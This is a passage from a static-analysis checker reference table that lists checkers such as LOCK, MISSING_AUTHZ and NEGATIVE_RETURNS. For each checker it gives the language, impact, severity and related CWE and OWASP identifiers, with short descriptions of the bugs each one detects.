| LOCK | Missing unlock | Program hangs | Objective-C/C++ | May result in deadlock if there is another attempt to acquire the lock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK | Double lock or missing unlock | Program hangs | C/C++ | May result in deadlock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK | Double lock or missing unlock | Program hangs | Objective-C/C++ | May result in deadlock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK_EVASION | Check of thread-shared field evades lock acquisition | Data race undermines locking | C# | The data guarded by this critical section may be read while in an inconsistent state or modified by multiple racing threads. | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK_EVASION | Check of thread-shared field evades lock acquisition | Data race undermines locking | Java | The data guarded by this critical section may be read while in an inconsistent state or modified by multiple racing threads. | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK_INVERSION | Thread deadlock | Program hangs | C# | Two threads will be stuck waiting forever if each holds a lock the other needs to acquire. | Medium | Quality | 833 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 833, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOCK_INVERSION | Thread deadlock | Program hangs | Java | Two threads will be stuck waiting forever if each holds a lock the other needs to acquire. | Medium | Quality, Security | 833 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 833, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| LOG_INJECTION | Log injection | Low impact security | Java | An attacker may be able to forge log messages to confuse automated log parsing tools or humans trying to diagnose an attack or other problem | Low | Security | 117 | 17, 18, 19, 20, 116, 117, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 844, 845, 868, 872, 876, 883, 884, 888, 895, 896, 907, 963, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1009, 1019, 1020 | ||
| MISMATCHED_ITERATOR | Invalid iterator comparison | Control flow issues | C/C++ | Iterators between different containers will always be different and should not be compared; this likely indicates a logical bug. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MISMATCHED_ITERATOR | Invalid iterator comparison | Control flow issues | Objective-C/C++ | Iterators between different containers will always be different and should not be compared; this likely indicates a logical bug. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MISMATCHED_ITERATOR | Iterator container mismatch | Memory - corruptions | C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISMATCHED_ITERATOR | Iterator container mismatch | Memory - corruptions | Objective-C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISMATCHED_ITERATOR | Splice iterator mismatch | Memory - corruptions | C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISMATCHED_ITERATOR | Splice iterator mismatch | Memory - corruptions | Objective-C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_ASSIGN | Missing assignment operator | Memory - illegal accesses | C/C++ | This class, which frees resources in its destructor, does not have a user-written copy assignment operator, but is copy-assigned. Unless the resource is managed separately from the copy operation, this may cause use-after-free errors. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_ASSIGN | Missing assignment operator | Memory - illegal accesses | Objective-C/C++ | This class, which frees resources in its destructor, does not have a user-written copy assignment operator, but is copy-assigned. Unless the resource is managed separately from the copy operation, this may cause use-after-free errors. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_ASSIGN | Missing assignment operator | Rule violations | C/C++ | This class, which frees resources in its destructor, does not have a user-written copy assignment operator, but is copy-assigned. Unless the resource is managed separately from the copy operation, this will cause use-after-free errors. | Low | Quality | 710 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_ASSIGN | Missing assignment operator | Rule violations | Objective-C/C++ | This class, which frees resources in its destructor, does not have a user-written copy assignment operator, but is copy-assigned. Unless the resource is managed separately from the copy operation, this will cause use-after-free errors. | Low | Quality | 710 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_AUTHZ | Missing authorization check | Medium impact security | C# | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_AUTHZ | Missing authorization check | Medium impact security | Java | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_AUTHZ | Missing authorization check | Medium impact security | JavaScript | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_AUTHZ | Missing authorization check | Medium impact security | PHP | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_AUTHZ | Missing authorization check | Medium impact security | Python | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_AUTHZ | Missing authorization check | Medium impact security | Visual Basic | Missing or insufficient authorization may permit unintended users to perform actions or access sensitive data for which they do not have permission. | Medium | Security | 285 | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| MISSING_BREAK | Missing break in switch | Control flow issues | C/C++ | Execution falls through to the next case statement or default; this might indicate a common typo. | Medium | Quality | 484 | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||
| MISSING_BREAK | Missing break in switch | Control flow issues | Java | Execution falls through to the next case statement or default; this might indicate a common typo. | Medium | Quality | 484 | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||
| MISSING_BREAK | Missing break in switch | Control flow issues | JavaScript | Execution falls through to the next case statement or default; this might indicate a common typo. | Medium | Quality | 484 | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||
| MISSING_BREAK | Missing break in switch | Control flow issues | Objective-C/C++ | Execution falls through to the next case statement or default; this might indicate a common typo. | Medium | Quality | 484 | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||
| MISSING_BREAK | Missing break in switch | Control flow issues | PHP | Execution falls through to the next case statement or default; this might indicate a common typo. | Medium | Quality | 484 | 17, 18, 398, 438, 484, 670, 691, 699, 700, 710, 884, 888, 889, 907, 962, 977, 978, 1000, 1003, 1006 | ||
| MISSING_COMMA | Missing comma in a string array initialization | Incorrect expression | C/C++ | An unexpected concatenated string or overrun. | Medium | Quality | None | |||
| MISSING_COMMA | Missing comma in a string array initialization | Incorrect expression | Objective-C/C++ | An unexpected concatenated string or overrun. | Medium | Quality | None | |||
| MISSING_COPY | Missing copy constructor | Memory - illegal accesses | C/C++ | This class, which frees resources in its destructor, does not have a user-written copy constructor, but is copy-constructed. Unless the resource is managed separately from the copy operation, this may cause use-after-free errors. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_COPY | Missing copy constructor | Memory - illegal accesses | Objective-C/C++ | This class, which frees resources in its destructor, does not have a user-written copy constructor, but is copy-constructed. Unless the resource is managed separately from the copy operation, this may cause use-after-free errors. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_COPY | Missing copy constructor | Rule violations | C/C++ | This class, which frees resources in its destructor, does not have a user-written copy constructor. If it is copy-constructed, this may cause use-after-free errors. | Low | Quality | 710 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_COPY | Missing copy constructor | Rule violations | Objective-C/C++ | This class, which frees resources in its destructor, does not have a user-written copy constructor. If it is copy-constructed, this may cause use-after-free errors. | Low | Quality | 710 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| MISSING_IFRAME_SANDBOX | Missing iframe sandbox for remote site | Medium impact security | JavaScript | An attacker may break out of the iframe and mount a Clickjacking or Phishing attack. | Medium | Security | 829 | 17, 18, 361, 664, 669, 699, 700, 809, 813, 829, 864, 884, 888, 892, 895, 900, 963, 984, 1000, 1003, 1008, 1011, 1016 | ✓ | |
| MISSING_LOCK | Data race condition | Concurrent data access violations | C/C++ | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| MISSING_LOCK | Data race condition | Concurrent data access violations | Objective-C/C++ | The value of the shared data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| MISSING_MOVE_ASSIGNMENT | Missing move assignment operator | Low impact quality | C/C++ | This class does not have a user-written move assignment operator and its copy assignment operator is found to be applied to rvalue(s), which can be moved to possibly enhance program performance had the move assignment operator been in place. | Low | Quality | None | |||
| MISSING_MOVE_ASSIGNMENT | Missing move assignment operator | Low impact quality | Objective-C/C++ | This class does not have a user-written move assignment operator and its copy assignment operator is found to be applied to rvalue(s), which can be moved to possibly enhance program performance had the move assignment operator been in place. | Low | Quality | None | |||
| MISSING_PERMISSION_FOR_BROADCAST | Missing permission for broadcast | Low impact security | Java | A malicious application could send or receive these broadcasts. | Low | Security | 927 | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | |
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | Exporting a component without requiring a permission | Low impact security | Java | Exporting a component without requiring a permission exposes the component to attackers. | Low | Security | 926 | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 899, 907, 926, 928, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | |
| MISSING_RESTORE | Failure to restore non-local value | Control flow issues | C/C++ | Failing to restore original value of some external value could compromise integrity of a subsystem. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Failure to restore non-local value | Control flow issues | C# | Failing to restore original value of some external value could compromise integrity of a subsystem. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Failure to restore non-local value | Control flow issues | Java | Failing to restore original value of some external value could compromise integrity of a subsystem. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Failure to restore non-local value | Control flow issues | Objective-C/C++ | Failing to restore original value of some external value could compromise integrity of a subsystem. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Possible failure to restore non-local value | Possible Control flow issues | C/C++ | Failing to restore original value of some external value could compromise integrity of a subsystem. | Low | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Possible failure to restore non-local value | Possible Control flow issues | C# | Failing to restore original value of some external value could compromise integrity of a subsystem. | Low | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Possible failure to restore non-local value | Possible Control flow issues | Java | Failing to restore original value of some external value could compromise integrity of a subsystem. | Low | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RESTORE | Possible failure to restore non-local value | Possible Control flow issues | Objective-C/C++ | Failing to restore original value of some external value could compromise integrity of a subsystem. | Low | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| MISSING_RETURN | Multiple return statements | Code maintainability issues | C/C++ | More than one function return site may make the function harder to maintain. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| MISSING_RETURN | Multiple return statements | Code maintainability issues | Objective-C/C++ | More than one function return site may make the function harder to maintain. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| MISSING_RETURN | Missing return statement | Uninitialized variables | C/C++ | The return value will be taken from whatever happens to be on the stack, likely causing incorrect computation. | High | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| MISSING_RETURN | Missing return statement | Uninitialized variables | Objective-C/C++ | The return value will be taken from whatever happens to be on the stack, likely causing incorrect computation. | High | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| MISSING_THROW | Exception not thrown | Error handling issues | C# | The code after the exception creation will execute. | Medium | Quality | 390 | 17, 18, 388, 389, 390, 699, 700, 703, 711, 728, 755, 844, 851, 868, 876, 880, 884, 888, 889, 961, 962, 1000, 1003, 1008, 1012, 1020 | ||
| MISSING_THROW | Exception not thrown | Error handling issues | Java | The code after the exception creation will execute. | Medium | Quality | 390 | 17, 18, 388, 389, 390, 699, 700, 703, 711, 728, 755, 844, 851, 868, 876, 880, 884, 888, 889, 961, 962, 1000, 1003, 1008, 1012, 1020 | ||
| MIXED_ENUMS | Inferred misuse of enum | Incorrect expression | C/C++ | An enumeration value for one enum type may be misinterpreted as a different, unrelated enumeration value in a different type. An enumeration value in one type may have no meaningful interpretation in another enum type, leading to a range of logic errors. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MIXED_ENUMS | Inferred misuse of enum | Incorrect expression | Objective-C/C++ | An enumeration value for one enum type may be misinterpreted as a different, unrelated enumeration value in a different type. An enumeration value in one type may have no meaningful interpretation in another enum type, leading to a range of logic errors. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MIXED_ENUMS | Mixing enum types | Incorrect expression | C/C++ | An enumeration value for one enum type may be misinterpreted as a different, unrelated enumeration value in a different type. An enumeration value in one type may have no meaningful interpretation in another enum type, leading to a range of logic errors. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MIXED_ENUMS | Mixing enum types | Incorrect expression | Objective-C/C++ | An enumeration value for one enum type may be misinterpreted as a different, unrelated enumeration value in a different type. An enumeration value in one type may have no meaningful interpretation in another enum type, leading to a range of logic errors. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| MOBILE_ID_MISUSE | Misuse of a mobile device identifier | Medium impact security | Java | An attacker may predict the mobile device identifier, authenticate, and gain access to data and services. | Medium | Security | 330 | 17, 18, 254, 330, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| NEGATIVE_RETURNS | Negative array index read | Memory - illegal accesses | C/C++ | A memory location at a negative offset from the beginning of the array will be read, resulting in incorrect values. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Negative array index read | Memory - illegal accesses | Objective-C/C++ | A memory location at a negative offset from the beginning of the array will be read, resulting in incorrect values. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Negative array index write | Memory - corruptions | C/C++ | A memory location at a negative offset from the beginning of the array will be written, likely causing a crash later. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Negative array index write | Memory - corruptions | Objective-C/C++ | A memory location at a negative offset from the beginning of the array will be written, likely causing a crash later. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Argument cannot be negative | Error handling issues | C/C++ | The negative argument will be interpreted as a very large unsigned value. | Medium | Quality | 687 | 227, 559, 573, 628, 687, 699, 700, 710, 734, 736, 737, 742, 844, 850, 868, 876, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| NEGATIVE_RETURNS | Argument cannot be negative | Error handling issues | Objective-C/C++ | The negative argument will be interpreted as a very large unsigned value. | Medium | Quality | 687 | 227, 559, 573, 628, 687, 699, 700, 710, 734, 736, 737, 742, 844, 850, 868, 876, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| NEGATIVE_RETURNS | Negative loop bound | Program hangs | C/C++ | Loop may run for a long time or not at all. | Medium | Quality | 606 | 17, 18, 19, 20, 254, 606, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Negative loop bound | Program hangs | Objective-C/C++ | Loop may run for a long time or not at all. | Medium | Quality | 606 | 17, 18, 19, 20, 254, 606, 635, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 868, 872, 876, 883, 888, 896, 907, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| NEGATIVE_RETURNS | Improper use of negative value | Integer handling issues | C/C++ | The negative value may be unexpected by later operations, causing incorrect computations. | Medium | Quality | 394 | 17, 18, 388, 389, 394, 699, 700, 703, 711, 728, 734, 742, 754, 800, 802, 840, 844, 851, 867, 868, 876, 880, 888, 889, 900, 961, 962, 1000, 1003, 1008, 1012 | ||
| NEGATIVE_RETURNS | Improper use of negative value | Integer handling issues | Objective-C/C++ | The negative value may be unexpected by later operations, causing incorrect computations. | Medium | Quality | 394 | 17, 18, 388, 389, 394, 699, 700, 703, 711, 728, 734, 742, 754, 800, 802, 840, 844, 851, 867, 868, 876, 880, 888, 889, 900, 961, 962, 1000, 1003, 1008, 1012 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | C/C++ | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | C# | Readers of this code might be misled as to its structure. | Low | Quality | None | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | Java | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | JavaScript | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | Objective-C/C++ | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | PHP | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Indentation does not match nesting level | Code maintainability issues | Scala | Readers of this code might be misled as to its structure. | Low | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | C/C++ | Code that is meant to be executed conditionally may be executed unconditionally | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | C# | Code that is meant to be executed conditionally may be executed unconditionally. | Medium | Quality | None | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | Java | Code that is meant to be executed conditionally may be executed unconditionally. | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | JavaScript | Code that is meant to be executed conditionally may be executed unconditionally. | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | Objective-C/C++ | Code that is meant to be executed conditionally may be executed unconditionally | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
